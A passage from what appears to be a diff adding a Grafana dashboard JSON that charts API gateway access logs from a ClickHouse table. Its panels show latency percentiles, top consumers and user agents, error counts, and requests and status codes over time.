"q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "database": "default", + "fields": [], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "limit": 100, + "mode": "list", + "orderBy": [], + "table": "gloo_api_logs" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.25)(CAST(LogAttributes['response_duration'] AS INT)) as p25\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time\n\n", + "refId": "p25", + "selectedFormat": 1 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "\nSELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.5)(CAST(LogAttributes['response_duration'] AS INT)) as p50\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time", + "refId": "p50", + "selectedFormat": 4 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.75)(CAST(LogAttributes['response_duration'] AS INT)) as p75\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time", + "refId": "p75", + "selectedFormat": 4 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.90)(CAST(LogAttributes['response_duration'] AS INT)) as p90\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time", + "refId": "p90", + "selectedFormat": 4 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.95)(CAST(LogAttributes['response_duration'] AS INT)) as p95\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time", + "refId": "p95", + "selectedFormat": 4 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.99)(CAST(LogAttributes['response_duration'] AS INT)) as p99\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time", + "refId": "p99", + "selectedFormat": 4 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.999)(CAST(LogAttributes['response_duration'] AS INT)) as p999\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time", + "refId": "p999", + "selectedFormat": 4 + } + ], + "title": "Request latency", + "transformations": [ + { + "id": "renameByRegex", + "options": { + "regex": "(.*)", + "renamePattern": "$1" + } + } + ], + "type": "timeseries" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "Usage for API '$api_id' with usage plan '$usage_plan'", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "custom": { + "align": "auto", + "cellOptions": { + "type": "auto" + }, + "filterable": false, + "inspect": false + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "#6ED0E0", + "value": 1000 + }, + { + "color": "light-blue", + "value": 2000 + }, + { + "color": "light-orange", + "value": 5000 + }, + { + "color": "orange", + "value": 10000 + }, + { + "color": "semi-dark-orange", + "value": 20000 + }, + { + "color": "light-red", + "value": 50000 + }, + { + "color": "red", + "value": 100000 + }, + { + "color": "dark-red", + "value": 1000000 + } + ] + }, + "unit": "none" + }, + "overrides": [ + { + "matcher": { + "id": "byName", + "options": "Count" + }, + "properties": [ + { + "id": "custom.cellOptions", + "value": { + "mode": "gradient", + "type": "gauge", + "valueDisplayMode": "text" + } + } + ] + }, + { + "matcher": { + "id": "byName", + "options": "User" + }, + "properties": [ + { + "id": "custom.width", + "value": 216 + } + ] + } + ] + }, + "gridPos": { + "h": 11, + "w": 7, + "x": 0, + "y": 19 + }, + "id": 18, + "options": { + "cellHeight": "sm", + "footer": { + "countRows": false, + "enablePagination": false, + "fields": [ + "count" + ], + "reducer": [ + "sum" + ], + "show": true + }, + "showHeader": true, + "sortBy": [ + { + "desc": true, + "displayName": "Count" + } + ] + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "7XaPngu4k" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n CAST(LogAttributes['user_id'] AS VARCHAR) as User,\n count(*) AS Count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY\n User\nORDER BY\n Count Desc", + "refId": "A" + } + ], + "title": "Top API consumers", + "type": "table" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "custom": { + "align": "auto", + "cellOptions": { + "type": "auto" + }, + "filterable": false, + "inspect": false + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "#6ED0E0", + "value": 1000 + }, + { + "color": "light-blue", + "value": 2000 + }, + { + "color": "light-orange", + "value": 5000 + }, + { + "color": "orange", + "value": 10000 + }, + { + "color": "semi-dark-orange", + "value": 20000 + }, + { + "color": "light-red", + "value": 50000 + }, + { + "color": "red", + "value": 100000 + }, + { + "color": "dark-red", + "value": 1000000 + } + ] + }, + "unit": "none" + }, + "overrides": [ + { + "matcher": { + "id": "byName", + "options": "Count" + }, + "properties": [ + { + "id": "custom.cellOptions", + "value": { + "mode": "gradient", + "type": "gauge", + "valueDisplayMode": "text" + } + } + ] + }, + { + "matcher": { + "id": "byName", + "options": "User" + }, + "properties": [ + { + "id": "custom.width", + "value": 216 + } + ] + } + ] + }, + "gridPos": { + "h": 11, + "w": 7, + "x": 7, + "y": 19 + }, + "id": 200, + "options": { + "cellHeight": "sm", + "footer": { + "countRows": false, + "enablePagination": false, + "fields": [ + "count" + ], + "reducer": [ + "sum" + ], + "show": true + }, + "showHeader": true, + "sortBy": [ + { + "desc": true, + "displayName": "Count" + } + ] + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n CAST(LogAttributes['user_agent'] AS VARCHAR) as user_agent,\n count(*) AS Count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY\n user_agent\nORDER BY\n Count Desc", + "refId": "A", + "selectedFormat": 4 + } + ], + "title": "Top User Agents", + "type": "table" + }, + { + "collapsed": true, + "gridPos": { + "h": 1, + "w": 24, + "x": 0, + "y": 30 + }, + "id": 11, + "panels": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "Total requests in this period for the API '$api_id'", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "#EAB839", + "value": 100000 + }, + { + "color": "red", + "value": 1000000 + } + ] + } + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 4, + "x": 0, + "y": 31 + }, + "id": 4, + "options": { + "colorMode": "value", + "graphMode": "area", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n LogAttributes['api_id'] as apiId,\n count(*) AS count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY\n apiId\nORDER BY\n count Desc\nlimit\n 20\n", + "refId": "A" + } + ], + "title": "Total requests", + "transparent": true, + "type": "stat" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "Total active users in this period", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "light-green", + "value": null + }, + { + "color": "green", + "value": 50000 + }, + { + "color": "yellow", + "value": 100000 + }, + { + "color": "semi-dark-yellow", + "value": 250000 + }, + { + "color": "orange", + "value": 500000 + }, + { + "color": "light-red", + "value": 1000000 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 4, + "x": 4, + "y": 31 + }, + "id": 195, + "options": { + "colorMode": "value", + "graphMode": "area", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n count(DISTINCT(LogAttributes['user_id']) as userId) as userCount\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri)\nlimit\n 20\n", + "refId": "A" + } + ], + "title": "Total active users", + "transparent": true, + "type": "stat" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "Server error count in this period (5xx status codes)", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "red", + "value": null + }, + { + "color": "dark-red", + "value": 10000 + } + ] + } + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 4, + "x": 8, + "y": 31 + }, + "id": 68, + "options": { + "colorMode": "value", + "graphMode": "area", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n count(*) AS count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n CAST(LogAttributes['status_code'] AS INT) >= 500 AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nORDER BY\n count Desc\nlimit\n 20\n", + "refId": "A" + } + ], + "title": "Server error count", + "transparent": true, + "type": "stat" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "User error count in this period (4xx status codes)", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "red", + "value": null + }, + { + "color": "dark-red", + "value": 10000 + } + ] + } + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 4, + "x": 12, + "y": 31 + }, + "id": 55, + "options": { + "colorMode": "value", + "graphMode": "area", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n count(*) AS count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n CAST(LogAttributes['status_code'] AS INT) >= 400 AND CAST(LogAttributes['status_code'] AS INT) < 500 AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nORDER BY\n count Desc\nlimit\n 20\n", + "refId": "A" + } + ], + "title": "User error count", + "transparent": true, + "type": "stat" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "Usage for API '$api_id' with usage plan '$usage_plan'", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "custom": { + "align": "auto", + "cellOptions": { + "type": "auto" + }, + "filterable": false, + "inspect": false + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "#6ED0E0", + "value": 1000 + }, + { + "color": "light-blue", + "value": 2000 + }, + { + "color": "light-orange", + "value": 5000 + }, + { + "color": "orange", + "value": 10000 + }, + { + "color": "semi-dark-orange", + "value": 20000 + }, + { + "color": "light-red", + "value": 50000 + }, + { + "color": "red", + "value": 100000 + }, + { + "color": "dark-red", + "value": 1000000 + } + ] + }, + "unit": "none" + }, + "overrides": [ + { + "matcher": { + "id": "byName", + "options": "Count" + }, + "properties": [ + { + "id": "custom.cellOptions", + "value": { + "mode": "gradient", + "type": "gauge", + "valueDisplayMode": "text" + } + } + ] + }, + { + "matcher": { + "id": "byName", + "options": "User" + }, + "properties": [ + { + "id": "custom.width", + "value": 216 + } + ] + } + ] + }, + "gridPos": { + "h": 11, + "w": 7, + "x": 0, + "y": 35 + }, + "id": 170, + "options": { + "cellHeight": "sm", + "footer": { + "countRows": false, + "enablePagination": false, + "fields": [ + "count" + ], + "reducer": [ + "sum" + ], + "show": true + }, + "showHeader": true, + "sortBy": [ + { + "desc": true, + "displayName": "Count" + } + ] + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "7XaPngu4k" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n CAST(LogAttributes['user_id'] AS VARCHAR) as User,\n count(*) AS Count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY\n User\nORDER BY\n Count Desc", + "refId": "A" + } + ], + "title": "Top API consumers", + "type": "table" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "fillOpacity": 80, + "gradientMode": "none", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "lineWidth": 1, + "scaleDistribution": { + "type": "linear" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "decimals": 0, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "red", + "value": 80 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 11, + "w": 7, + "x": 7, + "y": 35 + }, + "id": 168, + "interval": "15m", + "options": { + "barRadius": 0, + "barWidth": 0.97, + "fullHighlight": false, + "groupWidth": 0.7, + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "orientation": "auto", + "showValue": "auto", + "stacking": "none", + "tooltip": { + "mode": "single", + "sort": "none" + }, + "xTickLabelRotation": 0, + "xTickLabelSpacing": 0 + }, + "targets": [ + { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + } + }, + "queryType": "sql", + "rawSql": "SELECT \n $__timeInterval(Timestamp) AS time,\n LogAttributes['api_id'] AS apiId,\n count(*) AS count\nFROM \n gloo_api_logs\nWHERE \n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY \n apiId, \n time\nORDER BY \n time ASC", + "refId": "A" + } + ], + "title": "Requests over time", + "transformations": [ + { + "id": "renameByRegex", + "options": { + "regex": "count (.*)", + "renamePattern": "$1" + } + } + ], + "type": "barchart" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "fillOpacity": 80, + "gradientMode": "none", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "lineWidth": 1, + "scaleDistribution": { + "type": "linear" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "decimals": 0, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green" + }, + { + "color": "red", + "value": 80 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 11, + "w": 7, + "x": 0, + "y": 46 + }, + "id": 169, + "interval": "30m", + "options": { + "barRadius": 0, + "barWidth": 0.97, + "fullHighlight": false, + "groupWidth": 0.7, + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "orientation": "auto", + "showValue": "auto", + "stacking": "normal", + "tooltip": { + "mode": "single", + "sort": "none" + }, + "xTickLabelRotation": 0, + "xTickLabelSpacing": 0 + }, + "targets": [ + { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + } + }, + "queryType": "sql", + "rawSql": "SELECT \n $__timeInterval(Timestamp) AS time,\n LogAttributes['status_code'] AS statusCode,\n count(*) as count\nFROM \n gloo_api_logs\nWHERE \n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY \n statusCode, \n time\nORDER BY \n time ASC", + "refId": "A" + } + ], + "title": "Status codes over time", + "transformations": [ + { + "id": "renameByRegex", + "options": { + "regex": "count (.*)", + "renamePattern": "$1" + } + } + ], + "type": "barchart" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "", + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "barAlignment": 0, + "drawStyle": "line", + "fillOpacity": 8, + "gradientMode": "none", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "lineInterpolation": "linear", + "lineWidth": 1, + "pointSize": 5, + "scaleDistribution": { + "type": "linear" + }, + "showPoints": "auto", + "spanNulls": true, + "stacking": { + "group": "A", + "mode": "none" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "decimals": 0, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green" + }, + { + "color": "red", + "value": 80 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 11, + "w": 7, + "x": 7, + "y": 46 + }, + "id": 149, + "options": { + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "tooltip": { + "mode": "single", + "sort": "none" + } + }, + "pluginVersion": "10.0.0", + "targets": [ + { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "database": "default", + "fields": [], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "limit": 100, + "mode": "list", + "orderBy": [], + "table": "gloo_api_logs" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "meta": { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "database": "default", + "fields": [], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "limit": 100, + "mode": "list", + "orderBy": [], + "table": "gloo_api_logs" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.25)(CAST(LogAttributes['response_duration'] AS INT)) as p25\nFROM\n 